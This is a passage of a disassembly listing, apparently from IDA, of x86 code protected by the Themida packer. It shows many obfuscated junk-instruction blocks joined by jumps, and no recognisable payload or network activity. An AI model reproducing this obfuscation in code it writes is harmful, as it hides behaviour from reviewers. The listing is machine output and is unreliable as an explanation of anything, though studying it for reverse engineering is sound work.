		push	[esp+26h+var_22]
		pop	ebp
		pop	[esp+26h+var_28+2]
		pop	esp
		shl	[esp+1Eh+var_1E], cl
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56D2CC:				; CODE XREF: sub_562ABA+332j
		add	ebx, ecx
		push	[esp+3Eh+var_3E]
		jmp	loc_5621DF
; ---------------------------------------------------------------------------


loc_56D2D6:				; CODE XREF: sub_562ABA+6737j
		push	ax
		mov	ah, 4
		mov	bl, ah
		jmp	loc_5659C3
; ---------------------------------------------------------------------------


loc_56D2E1:				; CODE XREF: sub_562ABA+EC31j
		push	[esp+36h+var_36]
		pop	edx
		add	esp, 4
		xchg	ebp, [esp+32h+var_32]
		jmp	loc_56116F
; ---------------------------------------------------------------------------


loc_56D2F3:				; CODE XREF: sub_562ABA+9532j
		add	esp, 4
		sub	eax, 4
		push	7590h
		mov	[esp+22h+var_22], eax
		push	[esp+22h+var_1E]
		mov	eax, [esp+26h+var_28+2]
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		jmp	loc_55FAA9
; ---------------------------------------------------------------------------


loc_56D319:				; CODE XREF: sub_562ABA-D43j
		pop	ebx
		push	eax
		mov	eax, 66736715h
		xor	ebx, eax
		mov	eax, [esp+3Eh+var_3E]
		jmp	loc_567846
; ---------------------------------------------------------------------------


loc_56D32A:				; CODE XREF: sub_562ABA-8E0j
		xor	ecx, [esp+18h+var_1A+2]
		xor	[esp+18h+var_1A+2], ecx
		xor	ecx, [esp+18h+var_1A+2]
		jmp	loc_55F3A1
; ---------------------------------------------------------------------------


loc_56D338:				; CODE XREF: sub_562ABA+CBE5j
		not	esi
		sub	esi, 93F1B8F2h
		mov	eax, esi
		pop	esi
		shr	eax, 2
		shl	eax, 2
		inc	eax
		xor	eax, 2794309Fh
		dec	eax
		jmp	sub_571CD8
; ---------------------------------------------------------------------------


loc_56D355:				; CODE XREF: sub_562ABA+FB19j
		add	ebp, eax
		jmp	loc_570D25
; ---------------------------------------------------------------------------


loc_56D35C:				; CODE XREF: sub_562ABA-147Ej
		xor	ebx, 695AB2C7h
		sub	esi, ebx
		jmp	loc_560015
; ---------------------------------------------------------------------------


loc_56D369:				; CODE XREF: sub_562ABA+60F2j
		add	edi, 27134106h
		pop	edx
		jmp	loc_572321
; ---------------------------------------------------------------------------


loc_56D375:				; CODE XREF: sub_55FCA5+164j
		mov	[esp+36h+var_36], ebp
		mov	ebp, 710871FBh
		add	ebp, 2EB029B1h
		not	ebp
		not	ebp
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		push	0DE6h
		mov	[esp+3Ah+var_3A], ecx
		jmp	loc_55FDE5
; ---------------------------------------------------------------------------


loc_56D39A:				; CODE XREF: sub_562ABA+B578j
		push	eax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56D3A1:				; CODE XREF: sub_562ABA+678Aj
		pop	esp
		jmp	loc_56D70F
; ---------------------------------------------------------------------------


loc_56D3A7:				; CODE XREF: sub_562ABA+A00Fj
		add	edx, 4
		push	ecx
		mov	ecx, 1DA614D0h
		shr	ecx, 6
		shl	ecx, 6
		shr	ecx, 3
		dec	ecx
		jmp	loc_570AA7
; ---------------------------------------------------------------------------
		neg	byte ptr [esp+1Ah+var_1A]
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56D3CB:				; CODE XREF: sub_55FCA5+12Cj
		pop	edx
		mov	eax, [esp+1Ah+var_1A]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_568AC1
; ---------------------------------------------------------------------------


loc_56D3D7:				; CODE XREF: sub_562ABA+3E78j
		xor	eax, [esp+16h+var_16]
		xor	[esp+16h+var_16], eax
		xor	eax, [esp+16h+var_16]
		jmp	loc_564E77
; ---------------------------------------------------------------------------


loc_56D3E5:				; CODE XREF: sub_562ABA+AB7Fj
		mov	[esp+16h+var_16], edx
		push	esp
		mov	edx, [esp+1Ah+var_1A]
		push	edi
		mov	edi, esp
		jmp	loc_56F3C0
; ---------------------------------------------------------------------------


loc_56D3F4:				; CODE XREF: sub_562ABA-3CF2j
		mov	[esp+16h+var_16], ecx
		sub	esp, 4
		mov	[esp+1Ah+var_1A], ebx
		mov	ecx, [esp+1Ah+var_1A]
		add	esp, 4
		mov	edx, ecx
		mov	ecx, [esp+16h+var_16]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+1Ah+var_1A]
		pop	esp
		push	edx
		jmp	loc_56BA07
; ---------------------------------------------------------------------------


loc_56D421:				; CODE XREF: sub_562ABA+383Cj
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		sub	al, bh
		sub	al, 0BFh
		pop	ebx
		push	edx
		push	ebx
		mov	bh, al
		mov	dl, bh
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		push	eax
		mov	al, dl
		mov	cl, al
		pop	eax
		pop	edx
		pop	eax
		sub	al, cl
		pop	cx
		push	small 7FE5h
		mov	word ptr [esp+14h+var_16+2], dx
		jmp	loc_56D768
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+14h+var_16+2]
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ebx
		push	esp
		mov	ebx, [esp+1Ch+var_1E+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ecx
		jmp	loc_56783C
; ---------------------------------------------------------------------------


loc_56D46D:				; CODE XREF: sub_562ABA+7315j
		push	esp
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		push	edx
		push	ecx
		mov	ecx, 4
		mov	edx, ecx
		jmp	loc_56EE45
; ---------------------------------------------------------------------------


loc_56D482:				; CODE XREF: sub_562ABA-A31j
		mov	esi, 1F333E8Ch
		jmp	loc_55FC83
; ---------------------------------------------------------------------------


loc_56D48C:				; CODE XREF: sub_562ABA+70FEj
		mov	word ptr [esp+12h+var_12], dx
		push	ax
		pushf
		jmp	loc_560FB2
; ---------------------------------------------------------------------------


loc_56D498:				; CODE XREF: sub_562ABA+68j
		shr	eax, 8
		xor	eax, 13DACh
		jmp	loc_565275
; ---------------------------------------------------------------------------


loc_56D4A5:				; CODE XREF: sub_562ABA+AF8j
		add	edx, edi
		sub	edx, 61EC771Fh
		pop	edi
		xor	edx, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], edx
		xor	edx, [esp+26h+var_28+2]
		pop	esp
		jmp	loc_567FFB
; ---------------------------------------------------------------------------


loc_56D4BD:				; CODE XREF: sub_562ABA+7D30j
		push	782Eh
		mov	[esp+1Ah+var_1A], ebp
		push	edx
		jmp	loc_570B39
; ---------------------------------------------------------------------------


loc_56D4CB:				; CODE XREF: sub_562ABA+9F1Fj
		xor	edi, 2C8F7AE2h
		jmp	loc_56FBEE
; ---------------------------------------------------------------------------


loc_56D4D6:				; CODE XREF: sub_562ABA+63A8j
		push	[esp-2+arg_0+2]
		jmp	loc_57082C
; ---------------------------------------------------------------------------


loc_56D4DF:				; CODE XREF: sub_562ABA+A657j
		push	esp
		pop	edx
		push	esi
		push	ebx
		mov	ebx, 35CF3B44h
		push	62BDh
		mov	[esp+14h+var_16+2], ebp
		push	eax
		mov	eax, 19956F30h
		mov	ebp, 91F9D7BAh
		sub	ebp, eax
		jmp	loc_5665B1
; ---------------------------------------------------------------------------


loc_56D502:				; CODE XREF: sub_562ABA+A2FFj
		add	ebx, 4
		xchg	ebx, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		sub	edi, 1
		jmp	loc_56E69B
; ---------------------------------------------------------------------------


loc_56D516:				; CODE XREF: sub_562ABA+C685j
		push	esp
		pop	edi
		add	edi, 4
		push	5FA2h
		mov	[esp+26h+var_28+2], eax
		mov	eax, 4F4B1A5Dh
		sub	eax, 4F4B1A59h
		jmp	loc_55ED56
; ---------------------------------------------------------------------------


loc_56D535:				; CODE XREF: sub_562ABA+DBF0j
		add	edx, 76B36C46h
		sub	edx, 775D0D0Bh
		pop	ebp
		add	edx, eax
		jmp	loc_562C7F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+22h+var_22]
		push	ebx
		jmp	loc_561BD4
; ---------------------------------------------------------------------------


loc_56D553:				; CODE XREF: sub_562ABA+137j
		push	esi
		push	[esp+0Eh+var_C+2]
		jmp	loc_5666E8
; ---------------------------------------------------------------------------


loc_56D55D:				; CODE XREF: sub_562ABA+6C03j
		mov	[esp+42h+var_42], edx
		mov	dh, 73h
		neg	dh
		sub	dh, 74h
		inc	dh
		or	dh, 36h
		xor	dh, 74h
		sub	bl, 19h
		sub	bl, 95h
		sub	bl, dh
		add	bl, 95h
		add	bl, 19h
		mov	edx, [esp+42h+var_42]
		add	esp, 4
		sub	bl, al
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		push	eax
		push	[esp+46h+var_42]
		mov	eax, [esp+4Ah+var_4A]
		jmp	loc_56996A
; ---------------------------------------------------------------------------


loc_56D5A2:				; CODE XREF: sub_562ABA-3D12j
		shr	ebp, 2
		push	esi
		mov	esi, 639E15D2h
		shr	esi, 5
		jmp	loc_56946C
; ---------------------------------------------------------------------------


loc_56D5B3:				; CODE XREF: Themida_:00562065j
		push	82D5E9Ah
		push	[esp+22h+var_22]
		pop	eax
		add	esp, 4
		push	2CDCh
		mov	[esp+22h+var_22], edx
		mov	edx, 46C8186Ah
		neg	edx
		neg	edx
		inc	edx
		xor	edx, 5C3F4450h
		sub	eax, 32BA2B7Ah
		jmp	loc_561928
; ---------------------------------------------------------------------------


loc_56D5E1:				; CODE XREF: sub_562ABA+6165j
		or	esi, eax
		pop	eax
		xor	esi, 405F1DF7h
		sub	ebx, esi
		jmp	loc_56138C
; ---------------------------------------------------------------------------


loc_56D5F1:				; CODE XREF: sub_562ABA+8C6Fj
		push	edi
		pop	eax
		mov	edi, [esp+16h+var_16]
		add	esp, 4
		sub	eax, 54B80ABDh
		shr	eax, 4
		push	edi
		push	ebp
		mov	ebp, 45605119h
		neg	ebp
		jmp	loc_5693C8
; ---------------------------------------------------------------------------


loc_56D612:				; CODE XREF: sub_562ABA-2FB2j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_570402
; ---------------------------------------------------------------------------


loc_56D624:				; CODE XREF: sub_562ABA+A040j
		pop	edx
		jmp	loc_568914
; ---------------------------------------------------------------------------


loc_56D62A:				; CODE XREF: sub_562ABA-2F68j
		add	ebx, 4
		add	ebx, 2
		sub	esp, 4
		jmp	loc_56D3E5
; ---------------------------------------------------------------------------


loc_56D63E:				; CODE XREF: sub_562ABA+1DFFj
		push	ebx
		mov	ebx, 50C87197h
		inc	ebx
		add	ebx, 67DB49F1h
		add	ebx, 475C447Bh
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		xchg	esi, [esp+26h+var_28+2]
		pop	esp
		mov	[esp+22h+var_22], esi
		jmp	loc_560060
; ---------------------------------------------------------------------------


loc_56D666:				; CODE XREF: sub_562ABA+4F72j
		pop	ebp
		push	ebx
		mov	ebx, 285D3FAAh
		jmp	loc_56E56F
; ---------------------------------------------------------------------------


loc_56D672:				; CODE XREF: sub_562ABA-E3Bj
		push	ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56D67A:				; CODE XREF: sub_562ABA+C843j
		sub	eax, edi
		mov	edi, [esp+1Ch+var_1E+2]
		add	esp, 4
		add	edx, eax
		jmp	loc_55F5D6
; ---------------------------------------------------------------------------


loc_56D689:				; CODE XREF: sub_562ABA-23F7j
		mov	dh, 92h
		and	ch, dh
		pop	dx
		add	ch, 68h
		and	bl, ch
		mov	ecx, [esp+0]
		add	esp, 4
		sub	bl, 79h
		jmp	loc_56EB73
; ---------------------------------------------------------------------------


loc_56D6A5:				; CODE XREF: sub_562ABA+B870j
		mov	ecx, 6AC21E73h
		jmp	loc_560C8B
; ---------------------------------------------------------------------------


loc_56D6AF:				; CODE XREF: sub_562ABA+B335j
		add	edx, 548447D5h
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		sub	edx, 4
		push	edx
		push	[esp-4+arg_4]
		mov	edx, [esp+0]
		jmp	loc_569C53
; ---------------------------------------------------------------------------


loc_56D6CB:				; CODE XREF: sub_562ABA+2342j
		xor	ecx, edi
		xor	edi, ecx
		not	ecx
		xchg	ecx, edi
		jmp	loc_56B346
; ---------------------------------------------------------------------------


loc_56D6D8:				; CODE XREF: sub_562ABA-1333j
		sub	esi, 0FFFFFFFFh
		neg	esi
		push	52BEh
		mov	[esp+32h+var_32], eax
		mov	eax, 0B320ACEh
		jmp	loc_56913F
; ---------------------------------------------------------------------------


loc_56D6F2:				; CODE XREF: sub_562ABA+132Dj
		add	esp, 4
		pop	ecx
		add	al, 5Dh
		jmp	loc_572A11
; ---------------------------------------------------------------------------


loc_56D6FD:				; CODE XREF: sub_562ABA+1901j
		sub	dh, 65h
		sub	dh, 68h
		jmp	loc_566B90
; ---------------------------------------------------------------------------


loc_56D708:				; CODE XREF: sub_562ABA+DC98j
		mov	ah, 7Eh
		jmp	loc_568CA9
; ---------------------------------------------------------------------------


loc_56D70F:				; CODE XREF: sub_562ABA+A8E8j
		add	esp, 4
		push	7030h
		mov	[esp+42h+var_42], esi
		jmp	loc_5691F6
; ---------------------------------------------------------------------------


loc_56D722:				; CODE XREF: sub_562ABA+619Bj
		mov	[esp+22h+var_22], esp
		add	[esp+22h+var_22], 4
		pop	[esp+22h+var_22]
		push	eax
		mov	eax, 4
		add	[esp+22h+var_1E], eax
		pop	eax
		jmp	loc_568D83
; ---------------------------------------------------------------------------


loc_56D73F:				; CODE XREF: sub_562ABA+9989j
		xor	esi, 0BE8A9C96h
		mov	edi, esi
		pop	esi
		add	eax, edi
		jmp	loc_560C67
; ---------------------------------------------------------------------------


loc_56D74F:				; CODE XREF: sub_562ABA+775Cj
		sub	dl, 0ECh
		push	ax
		mov	al, 0C9h
		or	dl, al
		pop	ax
		xor	dl, 6Ch
		mov	cl, dl
		pop	edx
		push	eax
		mov	ah, 0FBh
		jmp	loc_55F3D7
; ---------------------------------------------------------------------------


loc_56D768:				; CODE XREF: sub_562ABA+A992j
		push	3FEAh
		mov	[esp+18h+var_1A+2], ecx
		mov	ch, 11h
		jmp	loc_571C54
; ---------------------------------------------------------------------------


loc_56D777:				; CODE XREF: sub_562ABA+399Bj
		push	60DEh
		jmp	loc_56FEDA
; ---------------------------------------------------------------------------


loc_56D781:				; CODE XREF: sub_562ABA+E73Aj
		shr	edx, 7
		sub	edx, 0E9BB5976h
		or	ebp, edx
		pop	edx
		jmp	loc_5680F9
; ---------------------------------------------------------------------------


loc_56D792:				; CODE XREF: sub_562ABA-28D0j
		push	eax
		push	edi
		push	eax
		jmp	loc_562BBE
; ---------------------------------------------------------------------------


loc_56D79A:				; CODE XREF: sub_562ABA+5718j
		or	dh, 8Ch
		sub	dh, 0C9h
		jmp	loc_56078C
; ---------------------------------------------------------------------------


loc_56D7A5:				; CODE XREF: sub_562ABA+C51Dj
		and	ebx, 3ACA5F10h
		push	3A3Ah
		jmp	loc_572314
; ---------------------------------------------------------------------------


loc_56D7B5:				; CODE XREF: sub_562ABA+A51Fj
		pop	eax
		xchg	ebp, [esp-0Eh+arg_8+2]
		jmp	loc_56C1EA
; ---------------------------------------------------------------------------


loc_56D7BE:				; CODE XREF: sub_562ABA+C419j
		pop	edx
		add	esp, 4
		push	ecx
		push	[esp-12h+arg_10+2]
		pop	ecx
		pop	[esp-12h+arg_C+2]
		mov	esp, [esp-16h+arg_10+2]
		jmp	loc_569BF4
; ---------------------------------------------------------------------------


loc_56D7D3:				; CODE XREF: sub_562ABA+47A1j
		sub	esp, 4
		mov	[esp+26h+var_28+2], edi
		jmp	loc_568698
; ---------------------------------------------------------------------------


loc_56D7E1:				; CODE XREF: sub_562ABA+BBC0j
		pop	eax
		jmp	loc_57081E
; ---------------------------------------------------------------------------


loc_56D7E7:				; CODE XREF: sub_562ABA+674Ej
		add	esp, 4
		neg	edx
		shr	edx, 4
		jmp	loc_56FBD6
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_566EFD
; ---------------------------------------------------------------------------


loc_56D7FA:				; CODE XREF: sub_562ABA-39B8j
		mov	[esp+36h+var_36], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+3Ah+var_36]
		pop	ebp
		pop	[esp+3Ah+var_3A]
		pop	esp
		mov	[esp+32h+var_32], esp
		jmp	loc_561EA1
; ---------------------------------------------------------------------------


loc_56D81A:				; CODE XREF: sub_562ABA+E625j
		pop	ecx
		add	ecx, eax
		pop	eax
		push	1F0h
		mov	[esp+0], ecx
		push	[esp+2Eh+var_2C+2]
		mov	ecx, [esp+32h+var_32]
		jmp	sub_561F0E
; ---------------------------------------------------------------------------


loc_56D832:				; CODE XREF: sub_562ABA+D526j
		push	[esp+32h+var_32]
		pop	ebp
		add	esp, 4
		mov	ebx, [esp+0]
		push	ecx
		jmp	loc_56194B
; ---------------------------------------------------------------------------


loc_56D842:				; CODE XREF: sub_562ABA+53B7j
		add	al, 5Ah
		jmp	loc_570229
; ---------------------------------------------------------------------------


loc_56D849:				; CODE XREF: sub_562ABA+C6AFj
		push	eax
		jmp	loc_56944B
; ---------------------------------------------------------------------------


loc_56D84F:				; CODE XREF: sub_562ABA+A3ECj
		push	edx
		mov	edx, 67628C1h
		sub	ecx, edx
		mov	edx, [esp+46h+var_46]
		add	esp, 4
		push	[esp+42h+var_42]
		pop	ebp
		add	esp, 4
		jmp	loc_568BB1
; ---------------------------------------------------------------------------


loc_56D86C:				; CODE XREF: sub_562ABA+7080j
		mov	[esp+0Ah+var_C+2], ebx
		mov	ebx, 451C54A0h
		xor	ebx, 2E5F4C62h
		mov	edx, 6B4398C2h
		xor	edx, ebx
		pop	ebx
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_570C5D
		push	dword ptr [edi+1Ch]
		push	[esp+6+var_8+2]
		push	[esp+0Ah+var_C+2]
		push	dword ptr [esp+0]
		jmp	loc_57178A
; ---------------------------------------------------------------------------


loc_56D89E:				; CODE XREF: sub_562ABA+3CD3j
		or	edi, 427C2EE1h
		shr	edi, 6
		xor	edi, 1139A769h
		or	esi, edi
		pop	edi
		push	ebx
		mov	ebx, 5C270C0Ah
		shl	ebx, 2
		jmp	loc_56FD43
; ---------------------------------------------------------------------------


loc_56D8BE:				; CODE XREF: sub_562ABA+3C94j
		push	10DEh
		mov	[esp+26h+var_28+2], eax
		mov	eax, esp
		push	6E3Ah
		mov	[esp+2Ah+var_2C+2], edi
		mov	edi, 31A31CAFh
		add	edi, 0FFFFFFFFh
		add	edi, 17E03098h
		jmp	loc_56364F
; ---------------------------------------------------------------------------


loc_56D8E6:				; CODE XREF: sub_562ABA+2E19j
		mov	bx, word ptr [esp+32h+var_32]
		sub	esp, 4
		jmp	loc_565D42
; ---------------------------------------------------------------------------


loc_56D8F5:				; CODE XREF: sub_562ABA+D05Bj
		pop	esp
		xor	eax, [esp+32h+var_32]
		xor	[esp+32h+var_32], eax
		xor	eax, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		shl	[esp+32h+var_32], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56D90B:				; CODE XREF: sub_562ABA+59F2j
		push	ecx
		push	eax
		jmp	loc_570DC0
; ---------------------------------------------------------------------------


loc_56D912:				; CODE XREF: sub_562ABA+647Bj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+22h+var_22]
		pop	esp
		mov	[esp+1Eh+var_1E], ebx
		push	4
		pop	ebx
		add	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 4B09ADh
		add	ebx, 0FFB4F657h
		add	edx, ebx
		mov	ebx, [esp+1Eh+var_1E]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Eh+var_1E], edx
		push	[esp+1Eh+var_1A]
		pop	edx
		pop	[esp+1Eh+var_1E]
		pop	esp
		jmp	loc_568E67
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_572778
; ---------------------------------------------------------------------------


loc_56D95B:				; CODE XREF: sub_562ABA-2E32j
		add	esp, 4
		add	esi, 18134156h
		xor	esi, 17D50AEh
		or	esi, 1984578Ah
		jmp	loc_571E70
; ---------------------------------------------------------------------------


loc_56D978:				; CODE XREF: sub_562ABA+10008j
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_56B5C5
; ---------------------------------------------------------------------------


loc_56D986:				; CODE XREF: sub_562ABA+13B6j
		sub	eax, ecx
		mov	ecx, [esp-0Ah+arg_4+2]
		add	esp, 4
		push	0D1Dh
		mov	[esp-0Ah+arg_4+2], ebp
		jmp	loc_56B405
; ---------------------------------------------------------------------------


loc_56D99E:				; CODE XREF: sub_56202E+Cj
		sub	ebx, ecx
		pop	ecx
		dec	ebx
		push	esi
		mov	esi, 2A36BECh
		or	esi, 5D955B5Bh
		shr	esi, 4
		sub	esi, 0E1EAADBEh
		jmp	loc_568636
; ---------------------------------------------------------------------------


loc_56D9BC:				; CODE XREF: sub_562ABA+D8DCj
		pop	edi
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], ebx
		mov	ebx, 47863E05h
		dec	ebx
		push	edx
		mov	edx, 0DC40CA0h
		jmp	loc_564BC5
; ---------------------------------------------------------------------------


loc_56D9D4:				; CODE XREF: sub_562ABA+6C5Bj
		pop	edx
		jmp	loc_567E1B
; ---------------------------------------------------------------------------


loc_56D9DA:				; CODE XREF: sub_562ABA+7FCj
		sub	esp, 4
		mov	[esp+3Ah+var_3A], eax
		push	ecx
		push	684D442Fh
		pop	ecx
		jmp	loc_567DE8
; ---------------------------------------------------------------------------


loc_56D9EF:				; CODE XREF: sub_562ABA+B1D9j
		add	ebp, 4
		jmp	loc_567474
; ---------------------------------------------------------------------------


loc_56D9FA:				; CODE XREF: sub_562ABA+6F84j
		mov	[esp+0Ah+var_C+2], ecx
		push	392Bh
		mov	[esp+0], eax
		push	ecx
		mov	cl, dl
		push	edx
		jmp	loc_56E7DF
; ---------------------------------------------------------------------------


loc_56DA0E:				; CODE XREF: sub_562ABA+BB35j
		push	ebx
		sub	esp, 4
		mov	[esp+1Eh+var_1E], edx
		mov	dl, 0E8h
		jmp	loc_561DEB
; ---------------------------------------------------------------------------


loc_56DA1C:				; CODE XREF: sub_562ABA-4124j
		push	esi
		push	7C3Eh
		push	632Fh
		mov	[esp+26h+var_28+2], esp
		jmp	loc_56D0D1
; ---------------------------------------------------------------------------


loc_56DA2F:				; CODE XREF: sub_562ABA+B06j
		pop	ecx
		push	ebx
		mov	ebx, 0CF6ADE4Bh
		jmp	loc_56CF4B
; ---------------------------------------------------------------------------


loc_56DA3B:				; CODE XREF: sub_562ABA+842Bj
		push	53CBh
		jmp	loc_56FDA2
; ---------------------------------------------------------------------------


loc_56DA45:				; CODE XREF: sub_55FCA5+421j
		and	eax, esi
		pop	esi
		and	eax, 5C60126h
		shl	eax, 4
		jmp	loc_560B67
; ---------------------------------------------------------------------------


loc_56DA55:				; CODE XREF: sub_562ABA+2013j
		xor	ebx, [esp+40h+var_42+2]
		jmp	loc_563135
; ---------------------------------------------------------------------------


loc_56DA5D:				; CODE XREF: sub_562ABA+1065j
		add	esp, 4
		push	ebp
		jmp	loc_568834
; ---------------------------------------------------------------------------


loc_56DA66:				; DATA XREF: Themida_:0055DFD0o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp+40h+var_42+2], ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56DA76:				; CODE XREF: sub_562ABA-128Dj
		add	ecx, ebx
		pop	ebx
		add	ecx, edi
		sub	ecx, 77B12C79h
		mov	edi, [esp+2Ah+var_2C+2]
		push	eax
		mov	eax, esp
		jmp	loc_561684
; ---------------------------------------------------------------------------


loc_56DA8C:				; CODE XREF: sub_562ABA+FC55j
		mov	edi, 4A981B63h
		jmp	loc_5600CB
; ---------------------------------------------------------------------------


loc_56DA96:				; CODE XREF: sub_562ABA+3020j
		push	4B9828F1h
		pop	ecx
		not	ecx
		xor	ecx, 0B6AF93D0h
		mov	edx, ecx
		pop	ecx
		inc	edx
		not	edx
		shl	edx, 7
		push	edx
		xchg	edi, [esp+4Eh+var_4E]
		jmp	loc_572C4D
; ---------------------------------------------------------------------------


loc_56DAB6:				; CODE XREF: sub_562ABA-3EAAj
		add	esp, 4
		pop	esi
		not	esi
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], edx
		push	63EFh
		jmp	loc_55E7B9
; ---------------------------------------------------------------------------


loc_56DAD2:				; CODE XREF: sub_562ABA+98D3j
		not	ebx
		inc	ebx
		or	ebx, 0DC16069h
		jmp	loc_564E01
; ---------------------------------------------------------------------------


loc_56DAE0:				; CODE XREF: sub_562ABA+1B2j
		add	ebx, eax
		jmp	loc_55FF7F
; ---------------------------------------------------------------------------


loc_56DAE7:				; CODE XREF: sub_562ABA-165Cj
		mov	[esp+0], ecx
		mov	ecx, 61D6535Eh
		add	ebx, 62D35C55h
		sub	ebx, ecx
		sub	ebx, 62D35C55h
		mov	ecx, [esp+0]
		push	306h
		mov	[esp+12h+var_12], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_564DAD
; ---------------------------------------------------------------------------


loc_56DB18:				; CODE XREF: sub_562ABA+7F7Ej
		mov	edx, [esp+1Ah+var_1A]
		jmp	sub_56099B
; ---------------------------------------------------------------------------


loc_56DB20:				; CODE XREF: Themida_:00571FDBj
		sub	esp, 4
		mov	[esp+1Eh+var_1E], ecx
		mov	ecx, esp
		push	2B78h
		mov	[esp+22h+var_22], ebx
		mov	ebx, 4
		jmp	loc_560A53
; ---------------------------------------------------------------------------


loc_56DB3D:				; CODE XREF: sub_562ABA+FE4Bj
		sub	eax, 50A460BFh
		jmp	loc_55FC62
; ---------------------------------------------------------------------------


loc_56DB47:				; CODE XREF: sub_562ABA+7830j
		push	ebp
		pop	edi
		pop	ebp
		and	edi, 3455550Dh
		add	edi, 2D8A06D1h
		and	edx, edi
		pop	edi
		jmp	loc_567775
; ---------------------------------------------------------------------------


loc_56DB5E:				; CODE XREF: sub_562ABA+772Aj
		push	edx
		push	ecx
		mov	ecx, 0A5B4204h
		shr	ecx, 7
		add	ecx, 0DEC957Bh
		mov	edx, ecx
		pop	ecx
		dec	edx
		not	edx
		shr	edx, 3
		sub	edx, 633651EBh
		dec	edx
		neg	edx
		push	ecx
		mov	ecx, 559B062Bh
		neg	ecx
		jmp	loc_56FC2C
; ---------------------------------------------------------------------------


loc_56DB8D:				; CODE XREF: sub_562ABA+6FADj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp+2Ah+var_2C+2], ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_56EE6A
; ---------------------------------------------------------------------------


loc_56DBA8:				; CODE XREF: sub_562ABA+39F3j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+3Eh+var_3A]
		jmp	loc_56529C
; ---------------------------------------------------------------------------


loc_56DBBE:				; CODE XREF: sub_562ABA+3B86j
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 2AFC1407h
		xor	ecx, 2AFC1403h
		add	edi, 1BD105BEh
		jmp	loc_561C99
; ---------------------------------------------------------------------------


loc_56DBD7:				; CODE XREF: sub_562ABA+4707j
		push	eax
		mov	eax, 121A28A4h
		jmp	loc_55E0D4
; ---------------------------------------------------------------------------


loc_56DBE2:				; CODE XREF: sub_562ABA-29j
		sub	ebx, 80EFD2CCh
		jmp	loc_55EC4B
; ---------------------------------------------------------------------------


loc_56DBED:				; CODE XREF: sub_562ABA+E9F3j
		sub	esp, 4
		mov	[esp+26h+var_28+2], ebp
		push	[esp+26h+var_22]
		pop	ebp
		pop	[esp+26h+var_28+2]
		jmp	loc_5693E0
; ---------------------------------------------------------------------------


loc_56DC03:				; CODE XREF: sub_562ABA+FDF1j
		add	ebx, 4
		sub	esp, 4
		mov	[esp+26h+var_28+2], edi
		jmp	loc_56C894
; ---------------------------------------------------------------------------


loc_56DC17:				; CODE XREF: sub_562ABA+1357j
		xchg	ebp, [esp+1Eh+var_1E]
		pop	esp
		mov	[esp+1Ah+var_1A], esi
		push	[esp+1Ah+var_16]
		jmp	loc_56F5F9
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+1Eh+var_1E]
		push	ebp
		push	esp
		mov	ebp, [esp+26h+var_28+2]
		jmp	loc_571F62
; ---------------------------------------------------------------------------


loc_56DC35:				; CODE XREF: Themida_:005623D6j
		mov	ebp, esp
		push	ebx
		push	edx
		jmp	loc_571453
; ---------------------------------------------------------------------------


loc_56DC3E:				; CODE XREF: sub_562ABA+8E6Dj
		sub	ebx, ebp
		push	[esp+1Eh+var_1E]
		pop	ebp
		add	esp, 4
		mov	dx, word ptr [esp+1Ah+var_1A]
		push	27AEh
		mov	[esp+1Eh+var_1E], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 7F1F12C1h
		or	esi, 71FC7515h
		and	esi, 49907D27h
		add	esi, 4D8F4EAEh
		neg	esi
		push	edi
		mov	edi, 1
		jmp	loc_568170
; ---------------------------------------------------------------------------


loc_56DC7A:				; CODE XREF: sub_562ABA+F310j
		push	66E1h
		jmp	loc_562C9B
; ---------------------------------------------------------------------------


loc_56DC84:				; CODE XREF: sub_562ABA+DC77j
		mov	ebp, [esp+2Ah+var_2C+2]
		add	esp, 4
		add	ebp, 4
		jmp	loc_56D9EF
; ---------------------------------------------------------------------------


loc_56DC98:				; CODE XREF: sub_562ABA+CB70j
		inc	ebp
		not	ebp
		not	ebp
		push	2C43h
		mov	[esp+2Ah+var_2C+2], ebx
